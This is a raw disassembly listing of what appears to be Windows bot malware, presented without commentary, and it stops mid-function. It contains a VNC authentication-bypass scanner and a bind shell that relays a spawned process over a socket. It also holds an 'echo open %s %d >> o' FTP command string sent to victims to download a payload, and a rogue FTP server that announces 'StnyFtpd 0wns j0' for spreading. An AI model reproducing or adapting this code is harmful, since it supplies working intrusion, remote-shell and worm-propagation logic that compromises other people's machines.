		call	dword_4CBA54	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40EC4D
		push	eax
		jmp	short loc_40EC81
; ---------------------------------------------------------------------------


loc_40EC4D:				; CODE XREF: .packed:0040EC48j
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CBA14	; inet_addr
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4CB9D4	; htons
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EC8C
		push	ebx


loc_40EC81:				; CODE XREF: .packed:0040EC4Bj
		call	dword_4CBA6C	; closesocket
		jmp	loc_40EE87
; ---------------------------------------------------------------------------


loc_40EC8C:				; CODE XREF: .packed:0040EC7Ej
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_41CCE3
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40EE80
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40ECD8
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40EE80


loc_40ECD8:				; CODE XREF: .packed:0040ECCCj
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40EBDE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40EBDE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40EE80
		push	1
		push	offset word_4CB88C
		push	ebx
		call	sub_40EBDE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41D9A5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40EE10
		push	edi
		push	esi
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch


loc_40EE10:				; CODE XREF: .packed:0040EE03j
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		shl	eax, 6
		inc	dword_431800[eax]
		push	ebx
		lea	eax, dword_431800[eax]
		call	dword_427200	; closesocket
		push	1
		pop	eax
		jmp	short loc_40EE89
; ---------------------------------------------------------------------------


loc_40EE80:				; CODE XREF: .packed:0040EC9Dj
					; .packed:0040ECC2j ...
		push	ebx
		call	dword_427200	; closesocket


loc_40EE87:				; CODE XREF: .packed:0040EC87j
		xor	eax, eax


loc_40EE89:				; CODE XREF: .packed:0040EE7Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40EE8E	proc near		; DATA XREF: sub_40EF1C+15Bo

var_404		= byte ptr -404h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40EE97:				; CODE XREF: sub_40EE8E+25j
					; sub_40EE8E+41j
		push	0
		lea	eax, [ebp+var_404]
		push	400h
		push	eax
		push	dword_4CE708
		call	dword_4CB9EC	; recv
		test	eax, eax
		jle	short loc_40EE97
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	dword_4CE704
		call	dword_4270F0	; WriteFile
		jmp	short loc_40EE97
sub_40EE8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40EED1	proc near		; DATA XREF: sub_40EF1C+142o

var_404		= byte ptr -404h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40EEDA:				; CODE XREF: sub_40EED1+2Fj
					; sub_40EED1+49j
		lea	eax, [ebp+var_4]
		and	[ebp+var_4], 0
		push	0
		push	eax
		lea	eax, [ebp+var_404]
		push	400h
		push	eax
		push	dword_4CE6F8
		call	dword_4270EC	; ReadFile
		cmp	[ebp+var_4], 0
		jle	short loc_40EEDA
		push	0
		lea	eax, [ebp+var_404]
		push	[ebp+var_4]
		push	eax
		push	dword_4CE708
		call	dword_4CBA24	; send
		jmp	short loc_40EEDA
sub_40EED1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40EF1C	proc near		; DATA XREF: sub_401ACD+2CCAo

var_11C		= byte ptr -11Ch
var_98		= dword	ptr -98h
var_7C		= dword	ptr -7Ch
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_38		= word ptr -38h
var_36		= word ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	28h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_11C]
		rep movsd
		push	1
		xor	edi, edi
		pop	esi
		mov	[eax+98h], esi
		push	10h
		lea	eax, [ebp+var_38]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_38], 2
		push	[ebp+var_98]
		call	dword_4CB9D4	; htons
		push	6
		push	esi
		push	2
		mov	[ebp+var_36], ax
		call	dword_4CBA54	; socket
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA00	; bind
		push	5
		push	[ebp+arg_0]
		call	dword_4CB9FC	; listen
		mov	ebx, dword_427108
		mov	esi, dword_427070


loc_40EF9C:				; CODE XREF: sub_40EF1C+1CBj
		push	edi
		push	edi
		push	[ebp+arg_0]
		call	dword_4CBA68	; accept
		mov	dword_4CE708, eax
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	offset dword_4CE704
		push	offset dword_4CE700
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_4], 1
		mov	[ebp+var_8], edi
		call	ebx	; CreatePipe
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	offset dword_4CE6FC
		push	offset dword_4CE6F8
		call	ebx	; CreatePipe
		push	44h
		lea	eax, [ebp+var_7C]
		push	edi
		push	eax
		call	sub_41BF70
		mov	eax, dword_4CE700
		add	esp, 0Ch
		mov	[ebp+var_44], eax
		mov	eax, dword_4CE6FC
		mov	[ebp+var_40], eax
		push	edi
		push	1
		lea	eax, [ebp+var_3C]
		push	2
		push	eax
		mov	[ebp+var_7C], 44h
		mov	[ebp+var_50], 101h
		mov	[ebp+var_4C], di
		call	dword_427104	; GetCurrentProcess
		push	eax
		push	dword_4CE6FC
		call	dword_427104	; GetCurrentProcess
		push	eax
		call	dword_427100	; DuplicateHandle
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		push	edi
		push	edi
		push	4000090h
		lea	eax, [ebp+var_C]
		push	1
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset dword_4346E0
		push	edi
		call	dword_427074	; CreateProcessA
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		push	edi
		push	offset sub_40EED1
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		call	dword_427084	; CreateThread
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		push	edi
		push	offset sub_40EE8E
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		call	dword_427084	; CreateThread
		push	0FFFFFFFFh
		mov	[ebp+var_10], eax
		push	[ebp+var_28]
		call	dword_4270A8	; WaitForSingleObject
		push	edi
		push	[ebp+var_10]
		call	dword_4270B4	; TerminateThread
		push	edi
		push	[ebp+var_14]
		call	dword_4270B4	; TerminateThread
		push	[ebp+var_10]
		call	esi	; CloseHandle
		push	[ebp+var_14]
		call	esi	; CloseHandle
		push	edi
		push	[ebp+var_28]
		call	dword_4270FC	; TerminateProcess
		push	dword_4CE700
		call	esi	; CloseHandle
		push	dword_4CE704
		call	esi	; CloseHandle
		push	dword_4CE6F8
		call	esi	; CloseHandle
		push	dword_4CE6FC
		call	esi	; CloseHandle
		push	[ebp+var_24]
		call	esi	; CloseHandle
		push	[ebp+var_28]
		call	esi	; CloseHandle
		jmp	loc_40EF9C
sub_40EF1C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40F0EC	proc near		; DATA XREF: .packed:0042900Co
		jmp	$+5
sub_40F0EC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40F0F1	proc near
		push	0FFFEh
		push	400h
		call	sub_418BD1
		pop	ecx
		mov	dword_4CE710, eax
		pop	ecx
		retn
sub_40F0F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F108	proc near		; DATA XREF: sub_40BD91+34Do

var_6C0		= byte ptr -6C0h
var_2C0		= byte ptr -2C0h
var_C0		= byte ptr -0C0h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 6C0h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	27h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[eax+98h], esi
		push	10h
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_A4]
		call	dword_4CB9D4	; htons
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], ebx
		call	dword_4CBA54	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jnz	short loc_40F1AF
		cmp	[ebp+var_1C], ebx
		jnz	short loc_40F18F
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_409869
		add	esp, 14h


loc_40F18F:				; CODE XREF: sub_40F108+65j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415D38
		push	[ebp+var_AC]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread


loc_40F1AF:				; CODE XREF: sub_40F108+60j
		mov	eax, [ebp+var_AC]
		push	10h
		imul	eax, 234h
		mov	dword_43E91C[eax], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	dword_4CBA00	; bind
		cmp	eax, esi
		mov	ebx, 400h
		jnz	loc_40F2AA
		call	dword_4CB968	; WSAGetLastError
		cmp	eax, 2740h
		jz	short loc_40F22F
		xor	esi, esi
		cmp	[ebp+var_1C], esi
		jnz	short loc_40F20F
		push	esi
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_409869
		add	esp, 14h


loc_40F20F:				; CODE XREF: sub_40F108+E5j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415D38
		push	[ebp+var_AC]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread


loc_40F22F:				; CODE XREF: sub_40F108+DEj
		push	0FFFEh
		push	ebx
		call	sub_418BD1
		pop	ecx
		mov	dword_4CE710, eax
		pop	ecx
		mov	[ebp+var_12], ax
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	edi
		call	dword_4CBA00	; bind
		cmp	eax, esi
		jnz	short loc_40F2AA
		call	dword_4CB968	; WSAGetLastError
		xor	esi, esi
		cmp	[ebp+var_1C], esi
		jnz	short loc_40F28A
		cmp	eax, 2740h
		jz	short loc_40F28A
		push	esi
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_409869
		add	esp, 14h


loc_40F28A:				; CODE XREF: sub_40F108+159j
					; sub_40F108+160j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415D38
		push	[ebp+var_AC]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread


loc_40F2AA:				; CODE XREF: sub_40F108+CDj
					; sub_40F108+14Cj
		push	5
		push	edi
		call	dword_4CB9FC	; listen
		cmp	eax, esi
		jz	loc_40F38F
		mov	[ebp+var_4], 10h
		mov	esi, offset byte_429108


loc_40F2C7:				; CODE XREF: sub_40F108+1D7j
					; sub_40F108+227j ...
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		push	edi
		call	dword_4CBA68	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_40F2C7
		cmp	[ebp+var_1C], 0
		jnz	short loc_40F308
		push	0
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_409869
		add	esp, 14h


loc_40F308:				; CODE XREF: sub_40F108+1DDj
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415D38
		pop	ecx
		lea	eax, [ebp+var_2C0]
		push	0
		push	200h
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9EC	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40F2C7
		push	esi
		push	esi
		push	dword_4CB710
		push	[ebp+var_B0]
		call	sub_40AA06
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOE_0 ; "echo open %s %d >> o&echo user 1 >>o &e"...
		lea	eax, [ebp+var_6C0]
		push	ebx
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		lea	eax, [ebp+var_6C0]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_6C0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F2C7
		inc	dword_4CE718
		jmp	loc_40F2C7
; ---------------------------------------------------------------------------


loc_40F38F:				; CODE XREF: sub_40F108+1ADj
		push	edi
		call	dword_4CBA6C	; closesocket
		push	[ebp+var_AC]
		call	sub_40B6D6
		pop	ecx
		push	0
		call	dword_4270D4	; ExitThread
sub_40F108	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F3AA	proc near		; DATA XREF: sub_40BD91+22Ao

var_A70		= byte ptr -0A70h
var_8E0		= byte ptr -8E0h
var_6E0		= dword	ptr -6E0h
var_4C8		= byte ptr -4C8h
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_43C		= dword	ptr -43Ch
var_338		= byte ptr -338h
var_2D4		= byte ptr -2D4h
var_2A0		= byte ptr -2A0h
var_23C		= byte ptr -23Ch
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_128		= byte ptr -128h
var_FC		= byte ptr -0FCh
var_C8		= byte ptr -0C8h
var_B0		= byte ptr -0B0h
var_4C		= byte ptr -4Ch
var_3C		= word ptr -3Ch
var_3A		= word ptr -3Ah
var_38		= dword	ptr -38h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A70h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6E0]
		pop	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A70]
		xor	esi, esi
		push	eax
		push	101h
		mov	[ebp+var_28], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_22C], esi
		mov	[ebp+var_43C], esi
		call	dword_4271D8	; WSAStartup
		push	esi
		push	ebx
		push	2
		call	dword_427204	; socket
		mov	esi, dword_4271DC
		lea	ecx, [ebp+var_28]
		push	4
		push	ecx
		mov	edi, 0FFFFh
		push	4
		push	edi
		push	eax
		mov	[ebp+var_8], eax
		call	esi	; setsockopt
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		push	0FFFFFFFBh
		push	edi
		mov	edi, [ebp+var_8]
		push	edi
		call	esi	; setsockopt
		lea	eax, [ebp+var_18]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4271E0	; ioctlsocket
		mov	ax, word ptr dword_4CB710
		and	[ebp+var_38], 0
		push	eax
		mov	[ebp+var_3C], 2
		call	dword_4CB9D4	; htons
		mov	[ebp+var_3A], ax
		lea	eax, [ebp+var_3C]
		push	10h
		push	eax
		push	edi
		call	dword_4271E4	; bind
		test	eax, eax
		jge	short loc_40F470
		mov	eax, ebx
		jmp	loc_40F9B8
; ---------------------------------------------------------------------------


loc_40F470:				; CODE XREF: sub_40F3AA+BDj
		push	0Ah
		push	edi
		call	dword_4271E8	; listen
		mov	[ebp+var_22C], ebx
		mov	ebx, dword_427208
		mov	[ebp+var_228], edi
		mov	[ebp+var_4], edi


loc_40F48E:				; CODE XREF: sub_40F3AA+11Dj
					; sub_40F3AA+606j
		push	41h
		lea	esi, [ebp+var_22C]
		pop	ecx
		lea	edi, [ebp+var_43C]
		rep movsd
		xor	esi, esi
		lea	eax, [ebp+var_43C]
		push	esi
		push	esi
		push	esi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	dword_42720C	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F9B5
		xor	edi, edi
		cmp	[ebp+var_4], esi
		mov	[ebp+arg_0], edi
		jl	short loc_40F48E


loc_40F4C9:				; CODE XREF: sub_40F3AA+600j
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_2A0]
		push	esi
		push	eax
		call	sub_41BF70
		push	64h
		lea	eax, [ebp+var_B0]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 18h
		lea	eax, [ebp+var_43C]
		push	eax
		push	edi
		call	sub_426350	; __WSAFDIsSet
		test	eax, eax
		jz	loc_40F9A3
		cmp	edi, [ebp+var_8]
		jnz	short loc_40F580
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		push	[ebp+var_8]
		call	dword_4271EC	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F9A3
		xor	ecx, ecx
		cmp	[ebp+var_22C], esi
		jbe	short loc_40F54A
		lea	edx, [ebp+var_228]


loc_40F53A:				; CODE XREF: sub_40F3AA+19Ej
		cmp	[edx], eax
		jz	short loc_40F54A
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp+var_22C]
		jb	short loc_40F53A


loc_40F54A:				; CODE XREF: sub_40F3AA+188j
					; sub_40F3AA+192j
		cmp	ecx, [ebp+var_22C]
		jnz	short loc_40F568
		cmp	[ebp+var_22C], 40h
		jnb	short loc_40F568
		mov	[ebp+ecx*4+var_228], eax
		inc	[ebp+var_22C]


loc_40F568:				; CODE XREF: sub_40F3AA+1A6j
					; sub_40F3AA+1AFj
		cmp	eax, [ebp+var_4]
		jle	short loc_40F570
		mov	[ebp+var_4], eax


loc_40F570:				; CODE XREF: sub_40F3AA+1C1j
		push	esi
		push	15h
		push	offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_40F9A3
; ---------------------------------------------------------------------------


loc_40F580:				; CODE XREF: sub_40F3AA+15Aj
		push	esi
		lea	eax, [ebp+var_2A0]
		push	64h
		push	eax
		push	edi
		call	dword_4271FC	; recv
		test	eax, eax
		jg	short loc_40F5E7
		mov	edx, [ebp+var_22C]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_40F5DB
		lea	eax, [ebp+var_228]


loc_40F5A7:				; CODE XREF: sub_40F3AA+207j
		cmp	[eax], edi
		jz	short loc_40F5B5
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_40F5A7
		jmp	short loc_40F5DB
; ---------------------------------------------------------------------------


loc_40F5B5:				; CODE XREF: sub_40F3AA+1FFj
		dec	edx
		cmp	ecx, edx
		jnb	short loc_40F5D5
		lea	eax, [ebp+ecx*4+var_228]


loc_40F5C1:				; CODE XREF: sub_40F3AA+229j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp+var_22C]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_40F5C1


loc_40F5D5:				; CODE XREF: sub_40F3AA+20Ej
		dec	[ebp+var_22C]


loc_40F5DB:				; CODE XREF: sub_40F3AA+1F5j
					; sub_40F3AA+209j
		push	edi
		call	dword_427200	; closesocket
		jmp	loc_40F9A3
; ---------------------------------------------------------------------------


loc_40F5E7:				; CODE XREF: sub_40F3AA+1E9j
		lea	eax, [ebp+var_338]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2A0]
		push	offset aSS_0	; "%s %s"
		push	eax
		call	sub_41CCE3
		lea	eax, [ebp+var_B0]
		push	offset aUser_0	; "USER"
		push	eax
		call	sub_41CA50
		add	esp, 18h
		test	eax, eax
		jnz	short loc_40F62B
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_40F6AD
; ---------------------------------------------------------------------------


loc_40F62B:				; CODE XREF: sub_40F3AA+272j
		lea	eax, [ebp+var_B0]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F64C
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	short loc_40F6AD
; ---------------------------------------------------------------------------


loc_40F64C:				; CODE XREF: sub_40F3AA+296j
		lea	eax, [ebp+var_B0]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F66D
		push	esi
		push	0Dh
		push	offset a215Stnyftpd ; "215 StnyFtpd\n"
		jmp	short loc_40F6AD
; ---------------------------------------------------------------------------


loc_40F66D:				; CODE XREF: sub_40F3AA+2B7j
		lea	eax, [ebp+var_B0]
		push	offset aRest	; "REST"
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F68E
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	short loc_40F6AD
; ---------------------------------------------------------------------------


loc_40F68E:				; CODE XREF: sub_40F3AA+2D8j
		lea	eax, [ebp+var_B0]
		push	offset off_43492C
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F6B3
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"


loc_40F6AD:				; CODE XREF: sub_40F3AA+27Cj
					; sub_40F3AA+2A0j ...
		push	edi
		jmp	loc_40F98C
; ---------------------------------------------------------------------------


loc_40F6B3:				; CODE XREF: sub_40F3AA+2F9j
		mov	edi, offset aType ; "TYPE"
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F6EF
		lea	eax, [ebp+var_338]
		push	offset aA_0	; "A"
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F6EF
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_40F989
; ---------------------------------------------------------------------------


loc_40F6EF:				; CODE XREF: sub_40F3AA+31Fj
					; sub_40F3AA+336j
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F726
		lea	eax, [ebp+var_338]
		push	offset aI_0	; "I"
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F726
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_40F989
; ---------------------------------------------------------------------------


loc_40F726:				; CODE XREF: sub_40F3AA+356j
					; sub_40F3AA+36Dj
		lea	eax, [ebp+var_B0]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F771
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_128]
		rep movsd
		push	eax
		lea	eax, [ebp+var_128]
		push	eax
		movsw
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_128]


loc_40F764:				; CODE XREF: sub_40F3AA+406j
		push	eax
		push	[ebp+arg_0]
		call	ebx	; send
		xor	esi, esi
		jmp	loc_40F98E
; ---------------------------------------------------------------------------


loc_40F771:				; CODE XREF: sub_40F3AA+391j
		lea	eax, [ebp+var_B0]
		push	offset aList_0	; "LIST"
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F7B2
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C8]
		push	eax
		movsb
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C8]
		jmp	short loc_40F764
; ---------------------------------------------------------------------------


loc_40F7B2:				; CODE XREF: sub_40F3AA+3DCj
		lea	eax, [ebp+var_B0]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F883
		lea	eax, [ebp+var_2D4]
		push	eax
		lea	eax, [ebp+var_FC]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2A0]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_41CCE3
		lea	eax, [ebp+var_FC]
		push	eax
		call	sub_41C159
		mov	edi, eax
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_41C159
		mov	[ebp+var_C], eax
		push	32h
